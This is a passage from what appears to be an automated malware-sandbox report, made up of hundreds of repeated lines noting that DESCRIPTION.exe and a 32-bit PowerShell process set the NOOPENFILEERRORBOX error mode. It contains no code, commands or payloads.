                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                      Source: C:\Users\user\Desktop\DESCRIPTION.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
